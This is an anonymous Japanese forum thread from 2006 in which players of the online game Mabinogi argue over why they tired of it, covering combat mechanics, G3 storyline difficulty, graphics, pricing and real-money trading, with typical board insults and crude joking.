ドラクエで言うと・・・・やっとスライム倒せるレベルになったところだな。も少し工夫して
遊んでみな。
今工夫して戦ってみたけど無理だった
ところでさ
戦闘に文句言ってるやつは初心者修練のところいったのか?
単純なクリックゲーじゃないからちーとでレベル上げできなくて
嘆いているんだよきっと。
>>323 すまん、ここマビアンチスレではございませんよー。マビが飽きた人が理由を
語るスレですがな。
簡単に言うと、メインスキルが数字でどのダンジョンへ行ってもある程度余裕、
G3も残すところバオル最終くらいの人が多いのですよー。
残念ながら、ゲーム始めて数時間くらいの人が来るところではありまへん。
それは飽きたとはいいまへん。
確かに周りも飽きた言ってる人多いな
>>323 ちなみに
>>323は飽きたのではなく、肌に合わない!というのが正しき表現です。
適当に話し掛けてフレ作って遊べば、色々教えてくれて楽しいと思います。
レベル差は初心者〜上級者まで関係なくPTを組んでも違和感がないのがマビの
特徴だからね。
上の方に出てるUO漫画って普通に読んでも面白いな。
マビにはこういう漫画サイトってないものかね?
で、本スレの話題に戻しますが・・・βからやっていて、今は残すところバオル最終
のみ。メインスキルもランダムではあるがランク5や4。そんな私が最近はINしたり
しなかったりと少々モチベーション低下傾向。
理由として、やっぱ数字ランク以降のスキルは自己満足になりやすい。ってところ
かな。あまり使い道ないんだよねぇ・・。敵を倒せばよいくらいのダメでいいのに、
クリスマ1400とか出て自己満足してる毎日。
マビの生産は自己満足そのものだし・・・。でも昨日、マビ始めて2ヶ月くらいの人と
マス上級へいってみたが、意外と新鮮だった。そんな今日この頃です。
マビノギは
・やれる事は多いがやりたい事が少ない。
・食事の内容が偏りすぎ。個人的希望は省略。
>やれること多い
え…?
359 :
名無しオンライン:2006/02/01(水) 14:24:50.93 ID:VrNhDuhH
やれることは少ないわな
つーかグラに始まり戦闘、世界の狭さ、底の浅さ
すべてにおいて薄っぺらい感が否めない
唯一生産がマゾいけど「奥が深い」ってのとは全く違うしな
グラは確かに雑過ぎだな
特徴なんて言葉で誤魔化せる範囲じゃない
>>360 そだ |------、`⌒ー--、
れが |ハ{{ }} )))ヽ、l l ハ
が |、{ ハリノノノノノノ)、 l l
い |ヽヽー、彡彡ノノノ} に
い |ヾヾヾヾヾヽ彡彡} や
!! /:.:.:.ヾヾヾヾヽ彡彡} l っ
\__/{ l ii | l|} ハ、ヾ} ミ彡ト
彡シ ,ェ、、、ヾ{{ヽ} l|l ィェ=リ、シ} |l
lミ{ ゙イシモ'テ、ミヽ}シィ=ラ'ァ、 }ミ}} l
ヾミ  ̄~'ィ''': |゙:ー. ̄ lノ/l | |
ヾヾ " : : !、 ` lイノ l| |
>l゙、 ー、,'ソ /.|}、 l| |
:.lヽ ヽ ー_ ‐-‐ァ' /::ノl ト、
:.:.:.:\ヽ 二" /::// /:.:.l:.:.
:.:.:.:.:.::ヽ:\ /::://:.:,':.:..:l:.:.
;.;.;.;.;;.:.:.:.\`ー-- '" //:.:.:;l:.:.:.:l:.:
本文忘れた('A`)
そのおかげでちゃんと服が全部違う物に見えるんじゃないか
リネとかどこがどう違うのかワカラン鎧が多すぎる
まぁ服とか鎧のデザインがキモイとは思う
FFはやってないからシラネ
FFはいわゆるプレ捨て2カラーリング。
彩度落としておけばリアルに見えんだろ、的な茶色と灰色ファンタジー。
今の3Dゲーはみんな同じに見えるから困る。
マビノギの装備デザインはいいですね。バケツヘルムとかのチョイスが嬉しい。
っていうか韓国標準装備のあの金ピカトゲトゲ鎧ってどこから出てきたんだろうか・・・
鶏にさえ戦闘モーションが用意されてんのにリアルじゃないとかのたまう奴バカじゃね?
グラフィックがよければ面白いと思ってる馬鹿には
マビの面白さなんてわからないよ
上の方で住人は本スレで〜とかいってるけど
アンチスレってアンチと信者が戦う場所じゃね?
アンチがくだまいてageまくって自己満足する場所だと思ってた
>>365 鎧がやけにリアルなんだよな。
かわいいキャラにその鎧の硬派な雰囲気が好きなだけに
デザコン鎧にはちょっと抵抗がある。
まあ着なければいいんだが。
久々にMOEにも入りてーな。みんな元気だろうか
だな。メルカとかのチェンメイルが歴史がわかってる人には嬉しい。
チェンメイルがマトモに再現されることって少ないからね。
あと、ほとんどのNPCの衣装はPCと共通なのも嬉しい。
今後は馬上槍とか騎兵用の重盾なんかにも期待。
カイト系は本来は歩兵、騎兵突撃時の対矢防御用軽盾で近接ではラウンドの方が上とか細かい点の相違はあるけど。
そもそも盾で攻撃を受け流すんじゃなくて受け止めているからな
馬実装されるならパイクとかハルベルトも実装してくれ
スケルトン馬に乗ったホローナイトをハルベルトで引きずりおろしてメイスでぼこぼことかやりてぇ
374 :
名無しオンライン:2006/02/01(水) 19:32:03.63 ID:qC1oxBWi
今日もやることないw
リアルでもやることないなんて可哀想
早くハロワ行けやニート^^^^^^^;;;;;;;;;;;;
移動疲れすぎ
なにこの糞ゲー
マジレスするとEG来たら視覚範囲広がるし、馬が実装されて移動は楽になる
だが、マビで移動が苦痛に感じるとか、他のMMO経験少なすぎなんじゃないか?
マビの不満は年齢制限服の存在だ
全年齢の加齢AP統一でもして、好きな年齢好きな服で遊ばせてくれ
378 :
名無しオンライン:2006/02/01(水) 20:55:33.48 ID:N0Do+Tsr
ここまで過疎るとぶっちゃけどーでもよくなる
移動疲れるといえばリネ2は個人的に地獄だったな…
>>375 リアルでもやることないなんて可哀想
早くハロワ行けやニート^^^^^^^;;;;;;;;;;;;
ダンジョンでみんなでIB連射でゴブ混合部屋で戦ったりしてるときが一番楽しかった。
でもしばらくするとPTではみんな死なないような戦い方するようになった。
中級Dでたまに死ぬと決壊した気分になってあやまるようになった。
ARが来てからは人前でAR使うのが悪い気がして、ソロばかりになった。
そしてG3が来てバランスがむちゃくちゃになって、俺もやる気がなくなった。
なにが言いたかったかというとバランスが糞だったってこと。
生産とか面白いシステムあったのにほんと惜しい。
>>381 G3来てバランスむちゃくちゃになったって何かあったっけ?
後まぁ、君のはなんていうか脳内で生み出した被害妄想っぽい方が
バランスやらなんやらより問題なんじゃないか?w
散々既出だが、
「プレイヤーは生産してDEXあげてください、対抗してmobは固くしときますw」なバランスな。
これでこのゲームの世界のバランスがとれてると考えるほうがどうかしとると思うぞ。
別に弓じゃなくても何とでもなるんだが
最強厨やら唯一回答以外イラネって奴ならしょうがないな
>>384 っ「これまでの戦術で近接使ってG3クリア」
最強厨とか回答が欲しいとかじゃなく、
散々言われてることだが、
一般人にはG3の潜入はクリアすることは難しいと思う。
俺みたいに「AR覚えてない雑魚はG3クリアしなくていいよw」ってのもひとつの意見だが、
マビノギの魅力のひとつであるメインストーリーは廃人以外クリアは難しい。
これについてはどうお考えで?
この時点でマビノギが廃人専用ゲーになったと俺は思ったが。
なお俺はG3クリアしてますのであしからず。
よって、妬みとか最強になりたいとかじゃなく
単純に上から下を見た意見な。それについて反感抱いてるなら謝るよ。
G3クリアしてむなしくなってるのに、
G3クリアしないならなにすんの?生産?それこそ最強厨じゃないの?
チャットゲーにするならそれもいいけど、新要素も廃仕様なのになんでマビノギにこだわるかねって感じ。
ARもないし累計レベル200程度でもバールクリアできちゃったお
じゃあ ID:3Q9dJ+7/はヘタレってことで
廃仕様に飽きてでていくならでていけばいい。
どうせ他のMMOも廃仕様なんだし。
へたれでいいので反論がききたいなぁ
一般人にG3すらクリアできない糞バランスやこれから実装される廃仕様のダンジョンが
過疎を早める結果になることとに危機感ないの?
弓関連がダメってのには同意するけど
潜入は残念ながら最低限のスキル取ってればクリアできるなぁ…
とりあえず弓と一打武器持ってクリアできなかったら
それは下手というより判断が遅いか判断ミスが多いかだ
技術もいらない
G3は下方修正予定あり
C2は累積レベルに関係なく同じように遊べる
って公言されてるのにかわいそうな子
>>391 そうか・・・。初期にさっさと終わらせたからわからんかった。
そんな戦術考えればなるほどと思った。
>>392 ソースっていうか・・・それっていつ日本に来るんですか?夏休みですか?w
所詮単純AIで敵が強いとか思ったこともないし、
AP獲得して強くなっちゃうのはRMつぎ込んでるだから当然のことだし、
この点も何とも思っちゃいないね
AR強くたっていいじゃない
その分苦労してるし
なくてもどーでもいい
敵の強さとか自分の強さとかどうでもいい
魅力的な服を買えればそれでいいよ
他はどーでも…
最強厨になっちゃうから、3Q9dJ+7/のいうようなとこばかりに目が行くんだろうけど
マビノギで強くなっても対人あるわけでもないし、しょうがない
もっと他のゲームにはない萌え要素でマビノギは客層惹きつけられると思うから
戦闘バランスなんてどうなってもいいじゃない
>>393 いつくるの?とか言い出したらお前の言ってる廃仕様のダンジョンもいつくるんだよwwwwww
>>395 キアバリ上級って来月来るんじゃなかったっけw
それまで課金休止するからいいけどな。
>>385 メインストーリーは自分が廃人じゃなくても
廃人さんに手伝ってもらえればクリアできるっしょ
セカンドキャラでは楽させてもらったわ
>381の
>中級Dでたまに死ぬと決壊した気分になってあやまるようになった。
この一文がわからないのは私だけですか?
「けっかいしたきぶん」ってイマイチ意味がつかめないし、「けつ、こわしたきぶん」はもっと意味不明。
なんなんだろコレ・・・
とりあえず潜入もラストバオルもAR無しで十分いけるだろ
スマFレンジFアタックFディフェンスFの魔法寄りだけど
潜入はいけたしラストもAR無しのパーティーで3回はクリアしてるぞ
>>398 説明しよう
本人じゃないから責任は持たん
昔は死んでもまぁ死んだってだけで笑ってられたのが
今は死なないのが当たり前、死ぬと周りに敵が流れて迷惑って感じで
死ぬと笑ってられなくなったとそんな感じだと思う
あれだ、責任を感じるようになったと
>>399 潜入は皆無駄に難しく言いすぎだよな
G3バオル潜入、近接型・弓全てF・ミル9・クリ6・スマ6・アタック7・・・
一応、丸一日かかったけどクリア出来たよ。βから始めたけど特別廃人プレイは
してないつもり。まあ、潜入日が日曜でよかったと思う。あれって・・運だよね??
ちなみに1打武器が有効なんて知らなかった時期だったので、クレイモアで
クリアした。てか、何回もいうけど・・・あれは絶対「運」だと思う。w
累計80だけどクリアしたよ潜入
漏れは99だったなあ…近接特化だけど。
G1G2は未転生で楽勝だし。
運もあるけど、駄目な人は戦術に問題がある予感。
405 :
名無しオンライン:2006/02/02(木) 10:06:58.94 ID:cB+ThfPc
数々のネトゲをやってきたが、マビプレイヤーが一番きつかった。
もふもふ?馬鹿じゃネーノw
ECOのふぁーふぁーといい勝負だと思うが。
>>405 馬鹿じゃねーの、って思うならここに来るべきではない。さよなら。
ここはマビをやってた人が「飽きた理由」を語るところだ。アンチスレではない。
荒らすつもりなら、マビ本スレで堂々と荒らして来い。
>>407 でも前スレから察するにアンチスレだと思うんだがw
バオル潜入は運が良ければ一切敵に会わずにクリアできるけどな。
次の日リアルで事故死するかも知れないけど。
409 :
名無しオンライン:2006/02/02(木) 11:53:33.94 ID:J41xnukk
すっかり終焉ムードになってるなw
過疎の中にもなんとか楽しみを見出そうぜ
相変わらず夜の3鯖は全ch混雑なわけだが。中華は目に見えて減ってるが。
RMTのレートが笑える。
100000G 900円じゃ売れんだろ。
もうすぐ正月休みが終わるので中華も戻ってくるものと思われます
つーかマビの金をリアルマネーで買う奴なんているの?笑
414 :
名無しオンライン:2006/02/02(木) 12:35:50.91 ID:gOhyn5qb
韓国人とか
1M100円ぐらいだったら買うかも
改造防具は売買できない、武器の熟練は割とすぐ貯まる、
鍛冶修練品は量産効果で原価割れの安さじゃRMTなんて流行る訳がない。
せいぜい金力でAR集めるくらいしかないな。
>>413 普通にやるだけでRM使いまくるんだから
抵抗なく買う奴結構いそうだけどな
飽きるほどやれるなんていいですね
>>416 それでも一部装備は3Mとか高いし、大体金をためる方法が採掘か赤玉かって感じなんでめんどいぜ
赤玉一周20分で3万Gだとしても(かなり廃スペックな基準)、3Mを稼ぐには・・えーと2000分か?30時間超え?
しかも赤玉ダンジョンはマラソン時間が長い関係もあって、二人以上なんかで入った日にゃ全く稼げねえ。ソロ限定だ。激しくつまらねえ
中級周回?アル中4とかもう10回以上いってるけど1枚もでねーような確率だしな
>>411が今のレートだとしたら3Mで3万円くらいになるから高いが、1万円くらいでポンと買えるならぶっちゃけ買いたいくらいだな。
まぁバレるとやばいし中華嫌いにこぞって叩かれるし、買わないけどな。買わないって書いたから「買う奴がいるから中華が云々」系レス禁止な
>>401 >運だよね??
>>402 >絶対「運」
>>407 >馬鹿じゃねーの
>馬鹿じゃねーの
>馬鹿じゃねーの
>馬鹿じゃねーの
>馬鹿じゃねーの
>馬鹿じゃねーの
>馬鹿じゃねーの
m9(^д^)
さて、ここらでTFLOの思い出話でもしようか
何度も言って悪いがお前らいい加減RFオンラインやれよ
戦闘つまんねぇ〜なにこの糞ゲー
MOEよりオモシロス^^
戦闘以前にグラを何とかしろ!
426 :
名無しオンライン:2006/02/02(木) 14:01:28.43 ID:sdwfgxlj
ネクソンのゲームにグラ要求するのはナンセンスだお^^^;;;
要求スペックだけ高くてクソゲーばっかじゃなぁ
中身の勝負してるマビノギ見習えと^^
>中身の勝負
wwwwwwwwwwwwwww
で、具体的には中身のどの辺りで勝負してるんですか?w
ぱんつ
>>424 >MOEよりオモシロス^^
>>427 >中身の勝負してるマビノギ見習えと^^
>>馬鹿かお前はw
馬鹿だお前はw
すっかりマビ信者=MOEアンチってイメージになっちゃったね
いや、そう思ってるのは>433だけだけど・・・
( ・3・) エェーだってマビノギの悪いところちょっとあげただけで
MoE厨乙な時代だYO?
「敵をクリックしたら突っ込んでカウンター食らいました。だからクソゲ」
というのは、たぶんマビノギを三日以上遊んでる人は同意しないと思う。
そういう文句がある人が望んでるのは、
敵をマウスでクリック連打するだけで倒せるようなゲームか、
敵を一度クリックすればあとは自動で勝てるようなゲームなんだろうけど、
マビノギはそうじゃないのを売りにしてるんだよね。
もっとも、そのシステムも多数に対するとイマイチとか、
パーティで互いが邪魔になってしまうとか、
そういう点は至ってはいないと思う。
でも慣れれば何とかなるもんさ。
>>436 違うな、奴が望んでるのは好きなとこで好きに武器を振れるゲームだ
ゼルダとかPSOみたいな感じだろ
もっとアクションゲームに近い感じだ
PSOのシステムでMMO出来たら楽しそうではあるけどね
>>437 牽制でもないのに、
剣をぶんぶん振り回しながら敵に近づいて行く感じのゲーム?
確かにそういうゲームじゃないのは確かだな。
>>439 お前脳味噌沸いてんじゃね?
敵が突っ込んできたときに先行入力して、
ちょうど自分の攻撃だけ当たるように武器を振りたいってことだろ
>>439 どんなゲームだそれは、カラテカか?
敵が攻撃範囲に入るタイミングを計って振るんだ
アタックからじゃなくて直接出すミルみたいな感じな
ごめん悪かった、カラテカじゃない
源平討魔伝だ
それならPSOやってろよ
>>440 目の前に来てから斬ればいいじゃん。
実際スマはそうやって撃ち落とす。
ディフェンス→敵が光って走る→スキル解除して殴る。
「敵の目の前に走っていって殴る」
というのも相手が魔法を詠唱しているときは有効な戦術だし。(例:フラソ)
相手が魔法かカウンターかとかの判断はプレイヤーがするものであって、
そこを自動化するのは意味がない。
PSOはよく知らないんだ。
すまないな。
>>444 その通りかもしれないが、
それが肌に合わないから辞める奴も居るよっていう話
>>446 だとするとその人たちには悪いのだが、好みの問題だから平行線だね。
俺は大筋これでいいと思うし。
アクションゲームがしたいならアクションゲームすればいいんじゃないか?
まぁそうだろうな
俺は
>>436で何故か
>>316がクリックゲーである事を望んでるように
書かれてるからそれは違うだろって言いたかっただけだし
後、
>>444の後半は正直何言ってるのか分からん
GM日記見るにこのスレにさいあん明らかに見てるし
本人も書き込んでるな。
社員がそんなことしていいか知らんけど。(確か自分の案件に関する匿名掲示板書き込みは禁止のはず)
匿名掲示板で何を言ってるんだか・・・
見てるのは確かだろうけど書き込んでるかは分からなく無いか?
最後の行みたいに"書き込みは"禁止のはずらしいし
453 :
名無しオンライン:2006/02/02(木) 23:27:20.32 ID:tr2pcGps
マビノギ(笑)
G3クリアしてやることなくなった
今月は課金しない予定
さっさとイリア大陸っての実装してほしい
行けるとこ少なすぎて秋田っぽ
したらばに日記投稿が増え糞スレが乱立し
本スレが雑談と質問ばかりになり
ゲーム内のギルドイン率が著しく低下
さすがに潮時ってやつを感じてきた
456 :
名無しオンライン:2006/02/03(金) 05:24:44.35 ID:/joyMDo4
匿名掲示板(笑)
彩庵のプライベートキャラ(笑)は本スレ住人ってのはガチ。
>454
明確な目標を与えられてないと途端にやることを見失ってしまう、というタイプですね。
よろしい。私が目標を与えて差し上げましょう。
つ[フル改造楽器でオーガ戦士を叩きのめす]
459 :
名無しオンライン:2006/02/03(金) 07:37:34.55 ID:yz+sUOxF
やることないからチャットだけで過ごす日々
周りは引退者ばっかだが俺はまだ諦めない
460 :
名無しオンライン:2006/02/03(金) 08:11:41.18 ID:Evt3Gq9l
MoEとマビを両立しているけど
両方楽しいな
もうほとんどゲームの中身自体を楽しんでる人はいないっぽいよな
MoEメンテ期間中暇だったので、マビノギ入れてみた。
ツマンネ。
仕方ないので、昔やってたディプスファンタジア繋いでみた。
DF自体終わってた。
ムカついたので、無料化となったと聞いたROSE繋いでみた。
無料じゃMOB殴れねぇ。
気がついたらマビノギでキャラ作ってた。
orz
>>462 お前のような糞ユーザーはMOEキャッスルから出てくるな迷惑だ
>>463 しょうがないじゃないか。
ここでマビノギが叩かれてるの見て興味本位でPLAYしてみたら
本当に糞以下だったんだもん。
あんなの、REDSTONE以下だと思ったよww
あれでアイテム課金だなんて・・・そりゃ、過疎る訳だよw
マビそうツマランとは思わないけどな
まだ3ヶ月くらいしかやってないが
敵をクリックしたら突っ込んでカウンター食らって泣き帰って来た奴に言われても
説得力がないなw
説得力がwwwww
いつもの人だろ
MoEとマビの対立煽ろうとして失敗してて惨めだよな
ぶっちゃけMoEとマビの面白さは方向性違うしね
>>467 >いつもの人だろ
いやいや、違う違う。
まあ、漏れが惨めなのは認めるが普通にツマランと思った。
>>468 方向性が違うのは解ってはいたが、ありゃ駄目だな。
>>469 君に言うのは酷だが・・・ある程度ゲーム上手くないとツマランよマビは
マビノギのどこに「上手さ」が必要なのかわからん
馬鹿には判らない面白さってか
具体的に例出してみろよw
毎日水掛け論、よく飽きないねぇ・・・
相当金かけたコンシューマーRPGでもプレイ時間は30〜50時間だろ?
やりこむ人で100時間いくか行かないか。
ところがMMOってのは普通の人にすら100時間単位でプレイしてもらうわけでさ。
廃プレイする人間にやることが残っているほうがおかしい。
やることがないと言いながらMMOにしがみ付いてる人間はただの中毒者、破綻者だと思う。
>>473 >「敵をクリックしたら突っ込んでカウンター食らいました。」
↑のような事いってる馬鹿に面白さなんて理解できないだろw
煽るつもりは無かったんだが、結果煽ってたのは反省する。
とりあえず、1000円払っちゃったので、もう少し頑張ってみようと思うよ。
けどさ、無料とか言いつつもキャラ作成に1000円掛かるのってちとひどいと思うんだが?
>475
PSOでは1000時間越えはスタートラインだぜ!
俺の累計は3000時間程だったかな
>>477 「基本」無料だからなあ。
お前はもう「基本」から一歩踏み出した
ユーザーになったのだろう。
基本ユーザーは基本無料のみ
ライトユーザーは基本無料、たまに20歳転生
ヘビーユーザーは一カ月2000円弱(1キャラ転生)
廃人は1カ月10000円強(5キャラ転生)
新垢ならキャラ作成無料だったはずだが
アカウント作成するとベーシックカードが一枚ついてる。
キャラ作成だけで1000円てのは2キャラ目以降だな。
複数アカウントなら何人でもタダで作れるが、2pcないと面倒
>>481 キャラエディットしたらカード代(?)で1000円払えってHPに飛ばされたが・・・
ライトな廃人の構成
メインキャラ:G3攻略、戦闘キャラ、10歳3週転生
熟練上げキャラ:25歳固定、ティルコネイル在住、ハムハン装備。釣り放置もする。
精錬・鍛冶キャラ:10歳3週転生、バンホール在住。バリDソロ可能な程度の戦闘力を保持
紡績・裁縫キャラ:10歳3週転生、イメンマハ在住。柵に羊を引っ掛ける為のオオカミをこのキャラの為だけに所有
露店・エンチャ・バイトキャラ:気が向いたら転生、ダンバートン在住。
金策キャラ:10歳3週転生、あの世在住。赤玉オンライン
ペット:クマx1(キツネから転生)、オオカミx1、レトリバーx多数
一般人の構成
メインキャラ:メインストーリー攻略。4週〜8週転生。まったりG2攻略
サブキャラ:ダンバートン在住、アイテム回収以外でインすることはほとんど無い
ペット:柴犬1匹のみ。
>>482 プレミアパーツで作成したんだろうな・・・
★が付いてるパーツはプレミアカード買わないと作れないのよ
さすがに説明書を読まずにゲームをプレイするってのはどうかという気が・・・
基礎もわからない状態でそのゲームを批評するのは良くないと思いますよ?
>>476 ところでそれなんだけどさ、そのカウンターもらったとか言ってる人
316よね?316のだと
>敵が突っ込んでくるの見えたからここで振れば一撃当てて下がれるのに
って書いてるわけよ
コレ実はカウンターじゃなくてどっちもアタックしてこっちだけ
叩かれたってだけなんじゃ…
>>485 累計で10時間ほどPLAYしてみての感想なんだが?
それでも面白さの解らないネトゲはREDROSE以来と申し上げているのですよw
488 :
名無しオンライン:2006/02/03(金) 11:40:50.15 ID:EKM8KZAe
>>475 それは毎日一日中本スレでだべってるやつらにいってやれ。
REDROSEはどこらへんがダメだったのか気になった
>487
私は超能力者ではないので、「累計で10時間ほどPLAYしてみての感想」だったかどうかなんてわかりませんよ。
あなたの頭の中の考えを全員が知ってるわけじゃないんですよ。
つーか
>>487 のは「終わった」でも「飽きた」でもなく「分からない」だもんな
相手にする必要なっしんぐ
>490
俺も超能力者じゃないんで
「基礎もわからない状態でそのゲームを批評するのは良くないと思いますよ?」
とかいっちゃうのがわかりませんよ
あなたの頭の中の考えを全員が知ってるわけじゃないんですよ。
10時間ってなにやってる所だろうな
そういや巨大白オオカミ倒さないとサッキュンに逢えないんだっけ?
メインクエやりながら灰色に殺されてアルバイトに慣れてくるぐらいかなあ>10時間
本当に始まったばっかりだと思う
>>493 身寄りがなければまだ授業料に四苦八苦、
メインクエは「ダンバートンへ」が面倒でティルコでバイトオンラインってとこかな。
服は小学校の制服。
身寄りがあれば
授業料は払ってもらって、南の平原で戦闘指南してもらってるくらいか。
マビ批判する奴は巣から出て来るなよ
そういう奴をマビは歓迎してないから
いや、ここアンチスレだし・・・
巣に篭りっぱなしの喪前も来なくていいよ
そういう奴もマビは歓迎してないから
>>499 いや、ここアンチスレじゃないし。ただお前さんの気持ちがわからん訳
ではない。βでマビ始めたとき、正直ツマランと思った。でもその内マビで
フレが出来、フレと行動をやってる内に様々な技と殴り方を知り、そしてギルドを
作った。今では多少飽きてはいるが、それなりに楽しんで遊んでる。
・・・・で、思うのだが・・・・全てのmobが多タゲだったら緊張感があるので面白く
なると思わないか?(ごめん、嘘です)
いやここ日記帳じゃなくて、アンチスレなんだが。
>>501 前スレはどうだったかは知らん。しかし、スレタイを見て「アンチスレ」だと認識
するのはおかしな話だ。どこぞの誰かさんが書いてくれてるが、マビノギをやって
た人が飽きた理由を語る場所だと認識してる。
アンチスレのつもりでスレ立てたのなら、
>>1 はスレタイのセンスが皆無といえる。
アンチスレだと思い込んでいる奴も、読解力無さすぎだな。違うアンチスレ立てたら?
>>1 にある前スレと前々スレタイトルはアンチスレって分かるがのぅ。。。
まあねぇ。。。アンチはお子様だからなぁ。ホントはどーでもよいのだが。
504 :
1:2006/02/03(金) 13:52:57.90 ID:/joyMDo4
>>502 スレタイのセンスがなくてごめんね。
ここアンチスレだから。本スレにお帰りください。
>>504 おーよく分かってらっしゃる。謝る前に国語の勉強をやり直してきな。
無理に韓国マビに追い着く仕様にしなければ、もう少しアップデートで
楽しめたと思うのだが。次の家とダンジョン札追加、新大陸追加が期待ですな。
それまではチャットで楽しみますか・・・。
いやほんとこのゲームもう飽き飽きだよなあ
オープンベータのときは正式化カバンまだーで飽き飽きだし
G1来たら来たらでクリアしたらG2のペットまだーで飽き飽きだし
G2なんざシーズン単位で4つも分けやがって
ハーブ豚まだー、精霊武器まだー、セイレーンダンジョンまだーで飽き飽き
んでもって今はG3なわけだが
キアバリ上級まだー、騎乗ペットまだー、新大陸まだーなわけよ
はーもうすぐ1年か
ほんとマビノギには飽き飽きだなあ
根っからのゲーマーな友達を誘ったら、未エンチャの店売り装備買い与えただけで、
三日でキア下級ゴレ含めソロ余裕になって、一週間ほどで銀玉をソロで結構な確率でクリアできるようになってた。
そいつは「金払ってLV1に戻って同じこと繰り返すとか理解できん」と言って10日で去っていった。
ゲーム好きが高じてネットゲやってみたみたいな層にはマビノギは完全に物足りないとおもう。
ここらの層は初めの課金が切れると同時に大体引退してる。
ゲーム苦手だけどチャット中毒が高じてネトゲやりました層には向いてるのかもしれんがな。同じことの繰り返しだし。
アンチと擁護派の温度差はここらへんにあると思われ。
まぁ嘘だと思うけど
ネトゲーなんてどれも基本的に繰り返し作業ですよ
マビノギの根本的な問題はあれだね
他ゲーでいうところの戦闘系の人間より生産系の人間の方が実は戦闘が強かったりすること。
バランスを犠牲にしてクリティカル、ダメージ特化の改造があるんだけど廃クラスの生産者じゃない限りあんなのは扱えない。
弓じゃなくて近接武器でも生産者は強すぎるんだよ…
まあ、韓国システム基準に作られてるからなぁ・・日本人には飽きられる仕様なのかも
しれないな。韓国では2時間無料なので、長時間ゲームをやって貰わねば困る。
よって、ダンジョンに無駄な通路が多かったり時間待ちありのバイト制度があったり
する。まったりっつーとまったりなのだが、飽き易いのだろう。
513 :
名無しオンライン:2006/02/03(金) 15:50:06.41 ID:qD+K1p3O
漏れは一週間で秋田ぐんまけん。
ぺっとでどせいさんがいればかんがえたけどナ。
オレも一週間、みんなあのバイトとか薪割りとかに耐えて育てたのかな
戦闘も敵をクリックしたら突っ込んでカウンター食らって泣き帰って来たし
飽きたというより面白いポイントがわからんかった
516 :
名無しオンライン:2006/02/03(金) 16:41:06.68 ID:NcQLeSK6
やっぱそうか、バイトとかやってる人いなかったし戦闘で育てるんだよなぁ
自分がやってるのが上手いのか下手なのかすらわからんかった
518 :
名無しオンライン:2006/02/03(金) 16:48:19.80 ID:NcQLeSK6
バイトはダンバートンに行けばやってる人たくさんいる
都市伝説鯖じゃなければな
この糞ゲはいつになったらスタミナ表示直すんだ?
バイトなんてハンマー代稼いだら聖堂以外はやらなくていいよ
どこまで行っても一発のミスで終わるから戦闘が苦手な人には向かないわな
バイトオンラインで生きて行こうにも雑貨屋、衣料品店で配達の仕事混ざってりしてどうしようもない
賃金もそこまで上がらないしでもうね;・。
マビノギで一番フェラの上手いキャラ決めようぜ
マビのいいとこはプレイ時間に差があってもPT組めるっていってんだから、飽きたらアップデートまで休止とかすればいいと思うんだ
どうよ、飽き飽きしてる擁護派?
>>522 ネタバレなので理由は欠けないが、クリステルでFA
ノラに決まってんだろ、伊達に宿屋やってねぇ
じゃんけんっちゅーアクション制は良かったんだが
それ+キャラクターを動かせる戦闘だったら最強だった
一回敵に追われたらそれっきり、必死で走ったり物陰に隠れたり
キャラの性能をひっくり返せる自由度が欲しい
このゲーム発展してってるの?
ネトゲやってて一番パッチ祭りの様なものを感じないな
528 :
名無しオンライン:2006/02/03(金) 17:58:39.02 ID:NcQLeSK6
>>522 ケイティンに決まってるだろ
普段は下手だが自慢のビペンニスに生クリーム塗ってみろ
神の舌使いが味わえるぞ
んーマビはどちらかというとPT推奨ゲームだと思う。ソロで狩りをしても儲からない
仕様ですし、バイトで稼いでも知れてる。始めて数日で飽きたって言ってる人は
フレを作るところから始めると吉。
1:適当に話し掛ける。
2:自分で野良PTを出すor野良PTに入る。
で、一通り仲間と遊んだところで「フレ登録よろしいでしょうか?」と持ちかけると
普通は「いいよー。よろしくー!」って返ってくる。後はフレと狩りに行ったり、ストーリー
手伝って貰ったり、ギルド入ってみたりすると・・・おそらく違った世界に見えると思う。
>>527 今、パッチ祭りは落ち着いている時期。G3のシーズン実装が殆ど終わったからね。
ソロは面白くないと、きっぱりと言い切れるゲームだと思ってる。
530 :
名無しオンライン:2006/02/03(金) 18:04:43.49 ID:uvgEvmzr
俺は羊飼いの少年を向いたらかなりの美少女だと思うんだ
>>529 ちょ、ソロで儲からないとかどの辺の話よ
ソロが面白くないってのは同意
PS(プレイヤースキル)=リアルマネーで無駄の無い転生を繋ぐ事
俺にはむりぽ
632はもう少し詳しく語る義務が生じたはずだ!
ソロも面白いと思うけどな「ダンジョン攻略が」
でもPTでダベリながらオオカミ系狩りながら焚き火囲んでた頃が一番面白かった
いまPTプレイといえば殆どダンジョンだし
>>521 聖堂とシモン神はかなり割がいい。報酬を露店で転売ウマー。あとは内容固定のマヌスが楽。
祝福Pは需要高いし、紡績経験者ならシモンの報酬の価値は痛いほどわかる筈。
ダンバはアイスカウンター練習に最適なラビダンジョンが近いから初心者も一通りクエ済ませたら拠点をダンバに移すとよい。
ソロ儲からない・つまらないって序盤の骨犬辺りまでの話じゃね?
ガンガンダンジョンに潜るようになるとソロのが断然儲かるし
ベア10体とかに気兼ねなくミルできるし、複数タゲを一人で捌き切った時は絶頂すら感じるね
>>527 すでに韓国の方が先行して色々実装されてるから何がくるか分かってるしねぇ。
月1で大体安定してるし、パッチ当たるのが当たり前状態。
それでもシステム面とかで予想して無い改善がくると盛り上がるよ。
ところで本スレでも見たけどスタミナの表示でなんか変なのあったっけ?
エンチャ修練のゴミ装備では一度も大失敗ナシで苦労。
しかし高額装備にしたら大失敗連発。
まともなゲームじゃねぇわコレ。やめた。
思い通りにならなかったから駄目ってガキみたいだな
短気なドキュソにはマビは無理
>>531 いや、まあ・・初心者レベルに落としての話だからね。
もちろん実力ついてくると、ソロも儲かる。しかし、アルビ中級辺りになると必ずPT
組まなければならない。その分、ページが出れば報酬も馬鹿デカイ。
>>532 これはありえない。PSが高ければ転生無しでも、時間がかかるにせよ一部
ダンジョン以外は攻略できるよー。なのでPS=リアルマネーではない。
>>538 高額装備って何にエンチャ失敗したのか気になるが・・・あまり関係ない。
まともなゲームじゃないと感じるところは、99%の成功率で連続失敗するところだ。
未だ疑問に思う。w
542 :
名無しオンライン:2006/02/03(金) 19:42:11.05 ID:i+j/PWzi
30分くらいしかやらなかった
MOEアンチスレ削除人に消されてやんのwマビ厨プギャー
30分っていったらナオと話して終わって狸3匹倒したくらいやな
スキル制うたってるわりにできることが少なすぎる
なんでこんなクソゲに人が集まってるんだか
>>543 すまぬが私はMoeでも遊んでるので、あまり煽らないように。気分が悪くなる。
